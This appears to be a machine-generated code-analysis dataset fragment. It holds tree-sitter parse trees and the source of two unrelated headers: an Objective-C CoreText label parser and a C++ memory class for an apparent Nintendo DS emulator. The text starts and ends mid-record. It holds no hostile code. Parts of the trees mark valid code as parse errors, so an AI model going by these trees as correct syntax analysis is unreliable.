"parent": 169, "children": [], "start_point": {"row": 59, "column": 3}, "end_point": {"row": 59, "column": 17}}, {"id": 171, "type": "abstract_pointer_declarator", "text": "", "parent": 169, "children": [172], "start_point": {"row": 59, "column": 18}, "end_point": {"row": 59, "column": 19}}, {"id": 172, "type": "*", "text": "", "parent": 171, "children": [], "start_point": {"row": 59, "column": 18}, "end_point": {"row": 59, "column": 19}}, {"id": 173, "type": "identifier", "text": "", "parent": 167, "children": [], "start_point": {"row": 59, "column": 20}, "end_point": {"row": 59, "column": 37}}, {"id": 174, "type": "ERROR", "text": "", "parent": 166, "children": [175], "start_point": {"row": 59, "column": 37}, "end_point": {"row": 59, "column": 47}}, {"id": 175, "type": "identifier", "text": "", "parent": 174, "children": [], "start_point": {"row": 59, "column": 39}, "end_point": {"row": 59, "column": 47}}, {"id": 176, "type": "*", "text": "", "parent": 166, "children": [], "start_point": {"row": 59, "column": 48}, "end_point": {"row": 59, "column": 49}}, {"id": 177, "type": "ERROR", "text": "", "parent": 166, "children": [178], "start_point": {"row": 59, "column": 49}, "end_point": {"row": 59, "column": 54}}, {"id": 178, "type": "identifier", "text": "", "parent": 177, "children": [], "start_point": {"row": 59, "column": 50}, "end_point": {"row": 59, "column": 54}}, {"id": 179, "type": "identifier", "text": "", "parent": 166, "children": [], "start_point": {"row": 59, "column": 55}, "end_point": {"row": 59, "column": 61}}, {"id": 180, "type": "ERROR", "text": "", "parent": 165, "children": [181], "start_point": {"row": 59, "column": 61}, "end_point": {"row": 59, "column": 80}}, {"id": 181, "type": "identifier", "text": "", "parent": 180, "children": [], "start_point": {"row": 59, "column": 63}, "end_point": {"row": 59, "column": 80}}, {"id": 182, "type": "*", "text": "", "parent": 165, "children": [], "start_point": {"row": 59, "column": 81}, "end_point": {"row": 59, "column": 82}}, {"id": 183, "type": "ERROR", "text": "", "parent": 165, "children": [], "start_point": {"row": 59, "column": 82}, "end_point": {"row": 59, "column": 83}}, {"id": 184, "type": "identifier", "text": "", "parent": 165, "children": [], "start_point": {"row": 59, "column": 83}, "end_point": {"row": 59, "column": 89}}, {"id": 185, "type": "ERROR", "text": "", "parent": 164, "children": [], "start_point": {"row": 59, "column": 89}, "end_point": {"row": 59, "column": 90}}, {"id": 186, "type": "+", "text": "", "parent": 164, "children": [], "start_point": {"row": 60, "column": 0}, "end_point": {"row": 60, "column": 1}}, {"id": 187, "type": "cast_expression", "text": "", "parent": 164, "children": [188, 192], "start_point": {"row": 60, "column": 2}, "end_point": {"row": 60, "column": 37}}, {"id": 188, "type": "type_descriptor", "text": "", "parent": 187, "children": [189, 190], "start_point": {"row": 60, "column": 3}, "end_point": {"row": 60, "column": 19}}, {"id": 189, "type": "type_identifier", "text": "", "parent": 188, "children": [], "start_point": {"row": 60, "column": 3}, "end_point": {"row": 60, "column": 17}}, {"id": 190, "type": "abstract_pointer_declarator", "text": "", "parent": 188, "children": [191], "start_point": {"row": 60, "column": 18}, "end_point": {"row": 60, "column": 19}}, {"id": 191, "type": "*", "text": "", "parent": 190, "children": [], "start_point": {"row": 60, "column": 18}, "end_point": {"row": 60, "column": 19}}, {"id": 192, "type": "identifier", "text": "", "parent": 187, "children": [], "start_point": {"row": 60, "column": 20}, "end_point": {"row": 60, "column": 37}}, {"id": 193, "type": "ERROR", "text": "", "parent": 163, "children": [194], "start_point": {"row": 60, "column": 37}, "end_point": {"row": 60, "column": 47}}, {"id": 194, "type": "identifier", "text": "", "parent": 193, "children": [], "start_point": {"row": 60, "column": 39}, "end_point": {"row": 60, "column": 47}}, {"id": 195, "type": "*", "text": "", "parent": 163, "children": [], "start_point": {"row": 60, "column": 48}, "end_point": {"row": 60, "column": 49}}, {"id": 196, "type": "ERROR", "text": "", "parent": 163, "children": [], "start_point": {"row": 60, "column": 49}, "end_point": {"row": 60, "column": 50}}, {"id": 197, "type": "identifier", "text": "", "parent": 163, "children": [], "start_point": {"row": 60, "column": 50}, "end_point": {"row": 60, "column": 54}}, {"id": 198, "type": "--", "text": "", "parent": 162, "children": [], "start_point": {"row": 60, "column": 54}, "end_point": {"row": 60, "column": 54}}, {"id": 199, "type": "ERROR", "text": "", "parent": null, "children": [200, 236, 237], "start_point": {"row": 70, "column": 0}, "end_point": {"row": 73, "column": 4}}, {"id": 200, "type": "binary_expression", "text": "", "parent": 199, "children": [201, 231, 233, 234, 235], "start_point": {"row": 70, "column": 0}, "end_point": {"row": 71, "column": 58}}, {"id": 201, "type": "binary_expression", "text": "", "parent": 200, "children": [202, 223, 224, 225], "start_point": {"row": 70, "column": 0}, "end_point": {"row": 71, "column": 38}}, {"id": 202, "type": "binary_expression", "text": "", "parent": 201, "children": [203, 217, 220, 221, 222], "start_point": {"row": 70, "column": 0}, "end_point": {"row": 70, "column": 93}}, {"id": 203, "type": "binary_expression", "text": "", "parent": 202, "children": [204, 212, 214, 215, 216], "start_point": {"row": 70, "column": 0}, "end_point": {"row": 70, "column": 58}}, {"id": 204, "type": "unary_expression", "text": "", "parent": 203, "children": [205, 206], "start_point": {"row": 70, "column": 0}, "end_point": {"row": 70, "column": 38}}, {"id": 205, "type": "+", "text": "", "parent": 204, "children": [], "start_point": {"row": 70, "column": 0}, "end_point": {"row": 70, "column": 1}}, {"id": 206, "type": "cast_expression", "text": "", "parent": 204, "children": [207, 211], "start_point": {"row": 70, "column": 2}, "end_point": {"row": 70, "column": 38}}, {"id": 207, "type": "type_descriptor", "text": "", "parent": 206, "children": [208, 209], "start_point": {"row": 70, "column": 3}, "end_point": {"row": 70, "column": 19}}, {"id": 208, "type": "type_identifier", "text": "", "parent": 207, "children": [], "start_point": {"row": 70, "column": 3}, "end_point": {"row": 70, "column": 17}}, {"id": 209, "type": "abstract_pointer_declarator", "text": "", "parent": 207, "children": [210], "start_point": {"row": 70, "column": 18}, "end_point": {"row": 70, "column": 19}}, {"id": 210, "type": "*", "text": "", "parent": 209, "children": [], "start_point": {"row": 70, "column": 18}, "end_point": {"row": 70, "column": 19}}, {"id": 211, "type": "identifier", "text": "", "parent": 206, "children": [], "start_point": {"row": 70, "column": 20}, "end_point": {"row": 70, "column": 38}}, {"id": 212, "type": "ERROR", "text": "", "parent": 203, "children": [213], "start_point": {"row": 70, "column": 38}, "end_point": {"row": 70, "column": 47}}, {"id": 213, "type": "identifier", "text": "", "parent": 212, "children": [], "start_point": {"row": 70, "column": 40}, "end_point": {"row": 70, "column": 47}}, {"id": 214, "type": "*", "text": "", "parent": 203, "children": [], "start_point": {"row": 70, "column": 48}, "end_point": {"row": 70, "column": 49}}, {"id": 215, "type": "ERROR", "text": "", "parent": 203, "children": [], "start_point": {"row": 70, "column": 49}, "end_point": {"row": 70, "column": 50}}, {"id": 216, "type": "identifier", "text": "", "parent": 203, "children": [], "start_point": {"row": 70, "column": 50}, "end_point": {"row": 70, "column": 58}}, {"id": 217, "type": "ERROR", "text": "", "parent": 202, "children": [218, 219], "start_point": {"row": 70, "column": 59}, "end_point": {"row": 70, "column": 84}}, {"id": 218, "type": "identifier", "text": "", "parent": 217, "children": [], "start_point": {"row": 70, "column": 59}, "end_point": {"row": 70, "column": 65}}, {"id": 219, "type": "identifier", "text": "", "parent": 217, "children": [], "start_point": {"row": 70, "column": 67}, "end_point": {"row": 70, "column": 84}}, {"id": 220, "type": "*", "text": "", "parent": 202, "children": [], "start_point": {"row": 70, "column": 85}, "end_point": {"row": 70, "column": 86}}, {"id": 221, "type": "ERROR", "text": "", "parent": 202, "children": [], "start_point": {"row": 70, "column": 86}, "end_point": {"row": 70, "column": 87}}, {"id": 222, "type": "identifier", "text": "", "parent": 202, "children": [], "start_point": {"row": 70, "column": 87}, "end_point": {"row": 70, "column": 93}}, {"id": 223, "type": "ERROR", "text": "", "parent": 201, "children": [], "start_point": {"row": 70, "column": 93}, "end_point": {"row": 70, "column": 94}}, {"id": 224, "type": "+", "text": "", "parent": 201, "children": [], "start_point": {"row": 71, "column": 0}, "end_point": {"row": 71, "column": 1}}, {"id": 225, "type": "cast_expression", "text": "", "parent": 201, "children": [226, 230], "start_point": {"row": 71, "column": 2}, "end_point": {"row": 71, "column": 38}}, {"id": 226, "type": "type_descriptor", "text": "", "parent": 225, "children": [227, 228], "start_point": {"row": 71, "column": 3}, "end_point": {"row": 71, "column": 19}}, {"id": 227, "type": "type_identifier", "text": "", "parent": 226, "children": [], "start_point": {"row": 71, "column": 3}, "end_point": {"row": 71, "column": 17}}, {"id": 228, "type": "abstract_pointer_declarator", "text": "", "parent": 226, "children": [229], "start_point": {"row": 71, "column": 18}, "end_point": {"row": 71, "column": 19}}, {"id": 229, "type": "*", "text": "", "parent": 228, "children": [], "start_point": {"row": 71, "column": 18}, "end_point": {"row": 71, "column": 19}}, {"id": 230, "type": "identifier", "text": "", "parent": 225, "children": [], "start_point": {"row": 71, "column": 20}, "end_point": {"row": 71, "column": 38}}, {"id": 231, "type": "ERROR", "text": "", "parent": 200, "children": [232], "start_point": {"row": 71, "column": 38}, "end_point": {"row": 71, "column": 47}}, {"id": 232, "type": "identifier", "text": "", "parent": 231, "children": [], "start_point": {"row": 71, "column": 40}, "end_point": {"row": 71, "column": 47}}, {"id": 233, "type": "*", "text": "", "parent": 200, "children": [], "start_point": {"row": 71, "column": 48}, "end_point": {"row": 71, "column": 49}}, {"id": 234, "type": "ERROR", "text": "", "parent": 200, "children": [], "start_point": {"row": 71, "column": 49}, "end_point": {"row": 71, "column": 50}}, {"id": 235, "type": "identifier", "text": "", "parent": 200, "children": [], "start_point": {"row": 71, "column": 50}, "end_point": {"row": 71, "column": 58}}, {"id": 236, "type": "ERROR", "text": "", "parent": 199, "children": [], "start_point": {"row": 73, "column": 0}, "end_point": {"row": 73, "column": 1}}, {"id": 237, "type": "identifier", "text": "", "parent": 199, "children": [], "start_point": {"row": 73, "column": 1}, "end_point": {"row": 73, "column": 4}}]}, "node_categories": {"declarations": {"functions": [], "variables": [], "classes": [], "imports": [], "modules": [], "enums": []}, "statements": {"expressions": [20, 21, 22, 24, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 50, 69, 82, 107, 125, 126, 127, 128, 129, 130, 132, 150, 162, 163, 164, 165, 166, 167, 187, 200, 201, 202, 203, 204, 206, 225], "assignments": [], "loops": [], "conditionals": [17, 18, 19, 26, 29, 31, 34, 52, 55, 57, 60, 62, 63, 66, 71, 74, 76, 79, 84, 87, 89, 92, 94, 95, 98, 100, 101, 104, 109, 112, 114, 117, 119, 120, 123, 134, 137, 139, 142, 144, 145, 147, 152, 155, 157, 160, 170, 173, 175, 178, 179, 181, 184, 189, 192, 194, 197, 208, 211, 213, 216, 218, 219, 222, 227, 230, 232, 235, 237], "returns": [], "exceptions": []}, "expressions": {"calls": [0, 3, 6, 9, 12], "literals": [], "identifiers": [], "binary_operations": [], "unary_operations": [], "member_access": []}}, "cross_language_map": {"function_declarations": [], "class_declarations": [], "import_statements": []}, "original_source_code": "//\n// TLFrameParser.h\n// TLAttributedLabel-Demo\n//\n// Created by andezhou on 15/7/7.\n// Copyright (c) 2015\u5e74 andezhou. All rights reserved.\n//\n// \u7528\u4e8e\u751f\u6210\u6700\u540e\u7ed8\u5236\u754c\u9762\u9700\u8981\u7684CTFrameRef\u5b9e\u4f8b\u3002\n\n#import <Foundation/Foundation.h>\n#import \"TLCoreTextData.h\"\n#import \"TLAttributedLabelLink.h\"\n#import \"TLAttributedLabelImage.h\"\n#import \"TLAttributeConfig.h\"\n\n@interface TLFrameParser : NSObject\n\n/**\n * \u751f\u6210\u5e26\u5c5e\u6027\u7684\u5b57\u7b26\u4e32\u7684attributes\n *\n * @param config \u7528\u4e8e\u914d\u7f6e\u7ed8\u5236\u7684\u53c2\u6570\uff0c\u4f8b\u5982\uff1a\u6587\u5b57\u989c\u8272\uff0c\u5927\u5c0f\uff0c\u884c\u95f4\u8ddd\u7b49\u3002\n *\n * @return \u5e26\u5c5e\u6027\u7684\u5b57\u7b26\u4e32\u7684attribute\n */\n+ (NSMutableDictionary *)attributesWithConfig:(TLAttributeConfig *)config;\n\n/**\n * \u901a\u8fc7\u4f20\u5165\u9700\u8981\u5c55\u793a\u7684\u6587\u5b57\uff0c\u6765\u83b7\u53d6CTFrameRef\u5b9e\u4f8b\u4ee5\u53caCTFrameRef\u5b9e\u9645\u7ed8\u5236\u9700\u8981\u7684\u9ad8\u5ea6\n *\n * @param content \u9700\u8981\u5c55\u793a\u7684\u6587\u5b57\n * @param config \u914d\u7f6e\u7ed8\u5236\u7684\u53c2\u6570\uff0c\u4f8b\u5982\uff1a\u6587\u5b57\u989c\u8272\uff0c\u5927\u5c0f\uff0c\u884c\u95f4\u8ddd\u7b49\u3002\n * @param links \u81ea\u5b9a\u4e49link\u6570\u7ec4\n *\n * @return CTFrameRef\u5b9e\u4f8b\u4ee5\u53caCTFrameRef\u5b9e\u9645\u7ed8\u5236\u9700\u8981\u7684\u9ad8\u5ea6\n */\n+ (TLCoreTextData *)parseContent:(NSString *)content config:(TLAttributeConfig *)config;\n+ (TLCoreTextData *)parseContent:(NSString *)content;\n+ (TLCoreTextData *)parseContent:(NSString *)content config:(TLAttributeConfig *)config link:(NSArray *)links;\n+ (TLCoreTextData *)parseContent:(NSString *)content link:(NSArray *)links;\n\n/**\n * \u901a\u8fc7\u5df2\u914d\u7f6e\u597d\u7684\u5e26\u5c5e\u6027\u5b57\u7b26\u4e32\uff0c \u6765\u83b7\u53d6CTFrameRef\u5b9e\u4f8b\u4ee5\u53caCTFrameRef\u5b9e\u9645\u7ed8\u5236\u9700\u8981\u7684\u9ad8\u5ea6\n *\n * @param attributedString \u5e26\u5c5e\u6027\u7684\u5b57\u7b26\u4e32\n * @param config \u914d\u7f6e\u7ed8\u5236\u7684\u53c2\u6570\uff0c\u4f8b\u5982\uff1a\u6587\u5b57\u989c\u8272\uff0c\u5927\u5c0f\uff0c\u884c\u95f4\u8ddd\u7b49\u3002\n *\n * @return CTFrameRef\u5b9e\u4f8b\u4ee5\u53caCTFrameRef\u5b9e\u9645\u7ed8\u5236\u9700\u8981\u7684\u9ad8\u5ea6\n */\n+ (TLCoreTextData *)parseAttributedContent:(NSMutableAttributedString *)attributedString config:(TLAttributeConfig *)config;\n+ (TLCoreTextData *)parseAttributedContent:(NSMutableAttributedString *)attributedString;\n\n/**\n * \u901a\u8fc7\u6c99\u76d2\u5730\u5740\uff0c \u6765\u83b7\u53d6CTFrameRef\u5b9e\u4f8b\u4ee5\u53caCTFrameRef\u5b9e\u9645\u7ed8\u5236\u9700\u8981\u7684\u9ad8\u5ea6\n *\n * @param path JSON\u6587\u4ef6\u8def\u5f84\n * @param config \u914d\u7f6e\u7ed8\u5236\u7684\u53c2\u6570\uff0c\u4f8b\u5982\uff1a\u6587\u5b57\u989c\u8272\uff0c\u5927\u5c0f\uff0c\u884c\u95f4\u8ddd\u7b49\u3002\n *\n * @return CTFrameRef\u5b9e\u4f8b\u4ee5\u53caCTFrameRef\u5b9e\u9645\u7ed8\u5236\u9700\u8981\u7684\u9ad8\u5ea6\n */\n+ (TLCoreTextData *)parseTemplateFile:(NSString *)path config:(TLAttributeConfig *)config;\n+ (TLCoreTextData *)parseTemplateFile:(NSString *)path;\n\n/**\n * \u901a\u8fc7\u7f51\u7edc\u83b7\u53d6\u4e0b\u6765\u7684\u6570\u7ec4\uff08NSArray\uff09\uff0c\u6765\u83b7\u53d6CTFrameRef\u5b9e\u4f8b\u4ee5\u53caCTFrameRef\u5b9e\u9645\u7ed8\u5236\u9700\u8981\u7684\u9ad8\u5ea6\n *\n * @param data \u4ece\u7f51\u7edc\u83b7\u53d6\u4e0b\u6765\u7684\u6570\u7ec4\uff0c\u904d\u5386\u6570\u7ec4\u540e\u7684\u5b57\u5178\uff08NSDictionary\uff09\u5305\u542b\u989c\u8272\uff08color\uff09\u3001\u5185\u5bb9\uff08content\uff09\u548c\u7c7b\u578b\uff08type\uff09\n * @param config \u914d\u7f6e\u7ed8\u5236\u7684\u53c2\u6570\uff0c\u4f8b\u5982\uff1a\u6587\u5b57\u989c\u8272\uff0c\u5927\u5c0f\uff0c\u884c\u95f4\u8ddd\u7b49\u3002\n *\n * @return CTFrameRef\u5b9e\u4f8b\u4ee5\u53caCTFrameRef\u5b9e\u9645\u7ed8\u5236\u9700\u8981\u7684\u9ad8\u5ea6\n */\n+ (TLCoreTextData *)parseTemplateArray:(NSArray *)dataList config:(TLAttributeConfig *)config;\n+ (TLCoreTextData *)parseTemplateArray:(NSArray *)dataList;\n\n@end\n\n"}
81,154
c
#pragma once #include "cartridge.h" #include "displayenginea.h" #include <memory> #include <stdio.h> #include <string.h> using namespace std; class Memory { public: Memory(Cartridge*); ~Memory(); int getARM9EntryAddress(); int getARM7EntryAddress(); uint32_t ARM9Load32(uint32_t); uint16_t ARM9Load16(uint32_t); uint8_t ARM9Load8(uint32_t); void ARM9Store32(uint32_t, uint32_t); void ARM9Store16(uint32_t, uint16_t); void ARM9Store8(uint32_t, uint8_t); DisplayEngineA *displayEngineA; private: Cartridge *cartridge; unsigned char *mem9; unsigned char *itcm9; unsigned char *dtcm9; unsigned char *mem7; unsigned char *wram7; unsigned char *wram; int ARM9EntryAddress; int ARM7EntryAddress; uint16_t vblank; uint32_t dtcmRegion; void loadCartridge(); };
26.76
34
(translation_unit) "#pragma once\n\n#include "cartridge.h"\n#include "displayenginea.h"\n#include <memory>\n#include <stdio.h>\n#include <string.h>\n\nusing namespace std;\n\nclass Memory {\n public:\n Memory(Cartridge*);\n ~Memory();\n int getARM9EntryAddress();\n int getARM7EntryAddress();\n uint32_t ARM9Load32(uint32_t);\n uint16_t ARM9Load16(uint32_t);\n uint8_t ARM9Load8(uint32_t);\n void ARM9Store32(uint32_t, uint32_t);\n void ARM9Store16(uint32_t, uint16_t);\n void ARM9Store8(uint32_t, uint8_t);\n DisplayEngineA *displayEngineA;\n\n private:\n Cartridge *cartridge;\n unsigned char *mem9;\n unsigned char *itcm9;\n unsigned char *dtcm9;\n unsigned char *mem7;\n unsigned char *wram7;\n unsigned char *wram;\n int ARM9EntryAddress;\n int ARM7EntryAddress;\n uint16_t vblank;\n uint32_t dtcmRegion;\n void loadCartridge();\n};" (preproc_call) "#pragma once\n" (preproc_directive) "#pragma" (preproc_arg) "once" (preproc_include) "#include "cartridge.h"\n" (#include) "#include" (string_literal) ""cartridge.h"" (") """ (string_content) "cartridge.h" (") """ (preproc_include) "#include "displayenginea.h"\n" (#include) "#include" (string_literal) ""displayenginea.h"" (") """ (string_content) "displayenginea.h" (") """ (preproc_include) "#include <memory>\n" (#include) "#include" (system_lib_string) "<memory>" (preproc_include) "#include <stdio.h>\n" (#include) "#include" (system_lib_string) "<stdio.h>" (preproc_include) "#include <string.h>\n" (#include) "#include" (system_lib_string) "<string.h>" (declaration) "using namespace std;" (type_identifier) "using" (identifier) "namespace" (ERROR) "std" (identifier) "std" (;) ";" (function_definition) "class Memory {\n public:\n Memory(Cartridge*);\n ~Memory();\n int getARM9EntryAddress();\n int getARM7EntryAddress();\n uint32_t ARM9Load32(uint32_t);\n uint16_t ARM9Load16(uint32_t);\n uint8_t ARM9Load8(uint32_t);\n void ARM9Store32(uint32_t, uint32_t);\n void ARM9Store16(uint32_t, uint16_t);\n void ARM9Store8(uint32_t, uint8_t);\n DisplayEngineA *displayEngineA;\n\n private:\n Cartridge *cartridge;\n unsigned char *mem9;\n unsigned char *itcm9;\n unsigned char *dtcm9;\n unsigned char *mem7;\n unsigned char *wram7;\n unsigned char *wram;\n int ARM9EntryAddress;\n int ARM7EntryAddress;\n uint16_t vblank;\n uint32_t dtcmRegion;\n void loadCartridge();\n}" (type_identifier) "class" (identifier) "Memory" (compound_statement) "{\n public:\n Memory(Cartridge*);\n ~Memory();\n int getARM9EntryAddress();\n int getARM7EntryAddress();\n uint32_t ARM9Load32(uint32_t);\n uint16_t ARM9Load16(uint32_t);\n uint8_t ARM9Load8(uint32_t);\n void ARM9Store32(uint32_t, uint32_t);\n void ARM9Store16(uint32_t, uint16_t);\n void ARM9Store8(uint32_t, uint8_t);\n DisplayEngineA *displayEngineA;\n\n private:\n Cartridge *cartridge;\n unsigned char *mem9;\n unsigned char *itcm9;\n unsigned char *dtcm9;\n unsigned char *mem7;\n unsigned char *wram7;\n unsigned char *wram;\n int ARM9EntryAddress;\n int ARM7EntryAddress;\n uint16_t vblank;\n uint32_t dtcmRegion;\n void loadCartridge();\n}" ({) "{" (labeled_statement) "public:\n Memory(Cartridge*);" (statement_identifier) "public" (:) ":" (declaration) "Memory(Cartridge*);" (macro_type_specifier) "Memory(Cartridge*)" (identifier) "Memory" (() "(" (type_descriptor) "Cartridge*" (type_identifier) "Cartridge" (abstract_pointer_declarator) "*" (*) "*" ()) ")" (identifier) "" (;) ";" (expression_statement) "~Memory();" (unary_expression) "~Memory()" (~) "~" (call_expression) "Memory()" (identifier) "Memory" (argument_list) "()" (() "(" ()) ")" (;) ";" (declaration) "int getARM9EntryAddress();" (primitive_type) "int" (function_declarator) "getARM9EntryAddress()" (identifier) "getARM9EntryAddress" (parameter_list) "()" (() "(" ()) ")" (;) ";" (declaration) "int getARM7EntryAddress();" (primitive_type) "int" (function_declarator) "getARM7EntryAddress()" (identifier) "getARM7EntryAddress" (parameter_list) "()" (() "(" ()) ")" (;) ";" (declaration) "uint32_t ARM9Load32(uint32_t);" (primitive_type) "uint32_t" (function_declarator) "ARM9Load32(uint32_t)" (identifier) "ARM9Load32" (parameter_list) "(uint32_t)" (() "(" (parameter_declaration) "uint32_t" (primitive_type) "uint32_t" ()) ")" (;) ";" (declaration) "uint16_t ARM9Load16(uint32_t);" (primitive_type) "uint16_t" (function_declarator) "ARM9Load16(uint32_t)" (identifier) "ARM9Load16" (parameter_list) "(uint32_t)" (() "(" (parameter_declaration) "uint32_t" (primitive_type) "uint32_t" ()) ")" (;) ";" (declaration) "uint8_t ARM9Load8(uint32_t);" (primitive_type) "uint8_t" (function_declarator) "ARM9Load8(uint32_t)" (identifier) "ARM9Load8" (parameter_list) "(uint32_t)" (() "(" (parameter_declaration) "uint32_t" (primitive_type) "uint32_t" ()) ")" (;) ";" (declaration) "void ARM9Store32(uint32_t, uint32_t);" (primitive_type) "void" (function_declarator) "ARM9Store32(uint32_t, uint32_t)" (identifier) "ARM9Store32" (parameter_list) "(uint32_t, uint32_t)" (() "(" (parameter_declaration) "uint32_t" (primitive_type) "uint32_t" (,) "," (parameter_declaration) "uint32_t" (primitive_type) "uint32_t" ()) ")" (;) ";" (declaration) "void ARM9Store16(uint32_t, uint16_t);" (primitive_type) "void" (function_declarator) "ARM9Store16(uint32_t, uint16_t)" (identifier) "ARM9Store16" (parameter_list) "(uint32_t, uint16_t)" (() "(" (parameter_declaration) "uint32_t" (primitive_type) "uint32_t" (,) "," (parameter_declaration) "uint16_t" (primitive_type) "uint16_t" ()) ")" (;) ";" (declaration) "void ARM9Store8(uint32_t, uint8_t);" (primitive_type) "void" (function_declarator) "ARM9Store8(uint32_t, uint8_t)" (identifier) "ARM9Store8" (parameter_list) "(uint32_t, uint8_t)" (() "(" (parameter_declaration) "uint32_t" (primitive_type) "uint32_t" (,) "," (parameter_declaration) "uint8_t" (primitive_type) "uint8_t" ()) ")" (;) ";" (declaration) "DisplayEngineA *displayEngineA;" (type_identifier) "DisplayEngineA" (pointer_declarator) "*displayEngineA" (*) "*" (identifier) "displayEngineA" (;) ";" (labeled_statement) "private:\n Cartridge *cartridge;" (statement_identifier) "private" (:) ":" (declaration) "Cartridge *cartridge;" (type_identifier) "Cartridge" (pointer_declarator) "*cartridge" (*) "*" (identifier) "cartridge" (;) ";" (declaration) "unsigned char *mem9;" (sized_type_specifier) "unsigned char" (unsigned) "unsigned" (primitive_type) "char" (pointer_declarator) "*mem9" (*) "*" (identifier) "mem9" (;) ";" (declaration) "unsigned char *itcm9;" (sized_type_specifier) "unsigned char" (unsigned) "unsigned" (primitive_type) "char" (pointer_declarator) "*itcm9" (*) "*" (identifier) "itcm9" (;) ";" (declaration) "unsigned char *dtcm9;" (sized_type_specifier) "unsigned char" (unsigned) "unsigned" (primitive_type) "char" (pointer_declarator) "*dtcm9" (*) "*" (identifier) "dtcm9" (;) ";" (declaration) "unsigned char *mem7;" (sized_type_specifier) "unsigned char" (unsigned) "unsigned" (primitive_type) "char" (pointer_declarator) "*mem7" (*) "*" (identifier) "mem7" (;) ";" (declaration) "unsigned char *wram7;" (sized_type_specifier) "unsigned char" (unsigned) "unsigned" (primitive_type) "char" (pointer_declarator) "*wram7" (*) "*" (identifier) "wram7" (;) ";" (declaration) "unsigned char *wram;" (sized_type_specifier) "unsigned char" (unsigned) "unsigned" (primitive_type) "char" (pointer_declarator) "*wram" (*) "*" (identifier) "wram" (;) ";" (declaration) "int ARM9EntryAddress;" (primitive_type) "int" (identifier) "ARM9EntryAddress" (;) ";" (declaration) "int ARM7EntryAddress;" (primitive_type) "int" (identifier) "ARM7EntryAddress" (;) ";" (declaration) "uint16_t vblank;" (primitive_type) "uint16_t" (identifier) "vblank" (;) ";" (declaration) "uint32_t dtcmRegion;" (primitive_type) "uint32_t" (identifier) "dtcmRegion" (;) ";" (declaration) "void loadCartridge();" (primitive_type) "void" (function_declarator) "loadCartridge()" (identifier) "loadCartridge" (parameter_list) "()" (() "(" ()) ")" (;) ";" (}) "}" (expression_statement) ";" (;) ";"
234
1
{"language": "c", "success": true, "metadata": {"lines": 34, "avg_line_length": 26.76, "nodes": 167, "errors": 0, "source_hash": "ec78598429db01a4c978278f5747fc70f4386af2cc6666232bb7a7543cfaeb90", "categorized_nodes": 98}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_call", "text": "#pragma once\n", "parent": null, "children": [1, 2], "start_point": {"row": 0, "column": 0}, "end_point": {"row": 1, "column": 0}}, {"id": 1, "type": "preproc_directive", "text": "#pragma", "parent": 0, "children": [], "start_point": {"row": 0, "column": 0}, "end_point": {"row": 0, "column": 7}}, {"id": 2, "type": "preproc_arg", "text": "once", "parent": 0, "children": [], "start_point": {"row": 0, "column": 8}, "end_point": {"row": 0, "column": 12}}, {"id": 3, "type": "preproc_include", "text": "#include \"cartridge.h\"\n", "parent": null, "children": [4, 5], "start_point": {"row": 2, "column": 0}, "end_point": {"row": 3, "column": 0}}, {"id": 4, "type": "#include", "text": "#include", "parent": 3, "children": [], "start_point": {"row": 2, "column": 0}, "end_point": {"row": 2, "column": 8}}, {"id": 5, "type": "string_literal", "text": "\"cartridge.h\"", "parent": 3, "children": [], "start_point": {"row": 2, "column": 9}, "end_point": {"row": 2, "column": 22}}, {"id": 6, "type": "preproc_include", "text": "#include \"displayenginea.h\"\n", "parent": null, "children": [7, 8], "start_point": {"row": 3, "column": 0}, "end_point": {"row": 4, "column": 0}}, {"id": 7, "type": "#include", "text": "#include", "parent": 6, "children": [], "start_point": {"row": 3, "column": 0}, "end_point": {"row": 3, "column": 8}}, {"id": 8, "type": "string_literal", "text": "\"displayenginea.h\"", "parent": 6, "children": [], "start_point": {"row": 3, "column": 9}, "end_point": {"row": 3, "column": 27}}, {"id": 9, "type": "preproc_include", "text": "#include <memory>\n", "parent": null, "children": [10, 11], "start_point": {"row": 4, "column": 0}, "end_point": {"row": 5, "column": 0}}, {"id": 10, "type": "#include", "text": "#include", "parent": 9, "children": [], "start_point": {"row": 4, "column": 0}, "end_point": {"row": 4, "column": 8}}, {"id": 11, "type": "system_lib_string", "text": "<memory>", "parent": 9, "children": [], "start_point": {"row": 4, "column": 9}, "end_point": {"row": 4, "column": 17}}, {"id": 12, "type": "preproc_include", "text": "#include <stdio.h>\n", "parent": null, "children": [13, 14], "start_point": {"row": 5, "column": 0}, "end_point": {"row": 6, "column": 0}}, {"id": 13, "type": "#include", "text": "#include", "parent": 12, "children": [], "start_point": {"row": 5, "column": 0}, "end_point": {"row": 5, "column": 8}}, {"id": 14, "type": "system_lib_string", "text": "<stdio.h>", "parent": 12, "children": [], "start_point": {"row": 5, "column": 9}, "end_point": {"row": 5, "column": 18}}, {"id": 15, "type": "preproc_include", "text": "#include <string.h>\n", "parent": null, "children": [16, 17], "start_point": {"row": 6, "column": 0}, "end_point": {"row": 7, "column": 0}}, {"id": 16, "type": "#include", "text": "#include", "parent": 15, "children": [], "start_point": {"row": 6, "column": 0}, "end_point": {"row": 6, "column": 8}}, {"id": 17, "type": "system_lib_string", "text": "<string.h>", "parent": 15, "children": [], "start_point": {"row": 6, "column": 9}, "end_point": {"row": 6, "column": 19}}, {"id": 18, "type": "declaration", "text": "using namespace std;", "parent": null, "children": [19, 20, 21], "start_point": {"row": 8, "column": 0}, "end_point": {"row": 8, "column": 20}}, {"id": 19, "type": "type_identifier", "text": "using", "parent": 18, "children": [], "start_point": {"row": 8, "column": 0}, "end_point": {"row": 8, "column": 5}}, {"id": 20, "type": "identifier", "text": "namespace", "parent": 18, "children": [], "start_point": {"row": 8, "column": 6}, "end_point": {"row": 8, "column": 15}}, {"id": 21, "type": "ERROR", "text": "std", "parent": 18, "children": [22], "start_point": {"row": 8, "column": 16}, "end_point": {"row": 8, "column": 19}}, {"id": 22, "type": "identifier", "text": "std", "parent": 21, "children": [], "start_point": {"row": 8, "column": 16}, "end_point": {"row": 8, "column": 19}}, {"id": 23, "type": "function_definition", "text": "class Memory {\n public:\n Memory(Cartridge*);\n ~Memory();\n int getARM9EntryAddress();\n int getARM7EntryAddress();\n uint32_t ARM9Load32(uint32_t);\n uint16_t ARM9Load16(uint32_t);\n uint8_t ARM9Load8(uint32_t);\n void ARM9Store32(uint32_t, uint32_t);\n void ARM9Store16(uint32_t, uint16_t);\n void ARM9Store8(uint32_t, uint8_t);\n DisplayEngineA *displayEngineA;\n\n private:\n Cartridge *cartridge;\n unsigned char *mem9;\n unsigned char *itcm9;\n unsigned char 